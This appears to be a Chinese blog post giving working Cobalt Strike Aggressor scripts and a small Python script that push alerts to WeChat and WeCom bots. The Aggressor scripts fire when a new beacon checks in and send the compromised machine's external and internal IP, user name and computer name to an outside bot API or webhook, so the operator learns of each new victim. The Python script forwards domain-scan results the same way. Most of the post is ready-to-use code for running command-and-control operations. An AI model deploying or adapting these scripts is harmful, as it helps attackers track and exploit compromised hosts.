1. 程式人生 > 其它 >微信機器人2

微信機器人2

小8機器人

cs上線提醒

can檔案

on beacon_initial {

    sub http_get {
        local('$output');
        $url = [new java.net.URL: $1];
        $stream = [$url openStream];
        $handle = [SleepUtils getIOHandle: $stream, $null];

        @content = readAll($handle);

        foreach $line (@content) {
            $output .= $line . "\r\n";
        }

        println($output);
    }
    #獲取ip、計算機名、登入賬號
    $externalIP = replace(beacon_info($1, "external"), " ", "_");
    $internalIP = replace(beacon_info($1, "internal"), " ", "_");
    $userName = replace(beacon_info($1, "user"), " ", "_");
    $computerName = replace(beacon_info($1, "computer"), " ", "_");

   
    $url = 'https://i.hacking8.com/wechat-api/自己的key?msg=CS%E4%B8%8A%E7%BA%BF%E6%8F%90%E9%86%92%0A%e5%a4%96%e7%bd%91ip:'.$externalIP.'%0A%e5%86%85%e7%bd%91ip:'.$internalIP.'%0A%e7%94%a8%e6%88%b7%e5%90%8d:'.$userName.'%0A%e8%ae%a1%e7%ae%97%e6%9c%ba%e5%90%8d:'.$computerName;

    http_get($url);

}

域名掃描結果提醒,需要伺服器去執行

domain.py

import requests

api = "?msg="
with open("123.txt") as f:
    data = f.read()
resp = requests.get("https://i.hacking8.com/wechat-api/自己的key",
params={
    "msg": data
})
print(resp)

其他掃描也類似,掃描完成後讀取檔案

公眾號機器人

需要一個能登入網頁版的微信來呼叫itchat庫,我的登不上,放棄
使用公眾號來作訊息回覆
安裝教程參考:https://blog.csdn.net/m0_37922734/article/details/104240943


但後續不知道咋改了
呼叫微信公眾號介面發現公眾號沒認證無法呼叫

暴力點 直接用公眾號向用戶發包時抓包,然後寫進1.py的
實現掃描返回域名掃描返回結果,需要在伺服器執行,通過&&來後續執行py指令碼

企業微信機器人cs上線提醒

can檔案

on beacon_initial {
	# 推送訊息的文字
	$text = "cs上線提醒 \r\n";
	$text = $text."\r\n外網地址:".beacon_info($1, 'external');
	$text = $text."\r\n內網地址:".beacon_info($1, 'internal');
	$text = $text."\r\n用 戶 名:".beacon_info($1, 'user');
	$text = $text."\r\n計算機名:".beacon_info($1, 'computer');
	send_text($text);
}

sub send_text {
	$url = "企業微信群機器人給的url地址";
	$json = "{\"msgtype\": \"text\", \"text\" : {\"content\" :\"$1 $+ \"}";
	$result = http_post($url, $json);
	}	

sub http_post {
	local('$output');
	$url = [new java.net.URL: $1];
	$conn = [$url openConnection];
	[$conn setRequestMethod: "POST"];
	[$conn setDoOutput: true];
	[$conn setRequestProperty: "Content-Length", strlen($2)];
	[$conn setRequestProperty: "Content-Type", "application/json"];
	$outStream = [$conn getOutputStream];
	[$outStream write: [$2 getBytes]];
	$inStream = [$conn getInputStream];
	$handle = [SleepUtils getIOHandle: $inStream, $outStream];
	@content = readAll($handle);
	return @content;
}

或者cs的其他外掛https://github.com/not-know/qywx_app_message

參考:https://github.com/not-know/qywx_app_message/blob/1215327f5ea2f9efbe4c6ecee47568c3ca20ac06/cs/http_qywx.cna#L165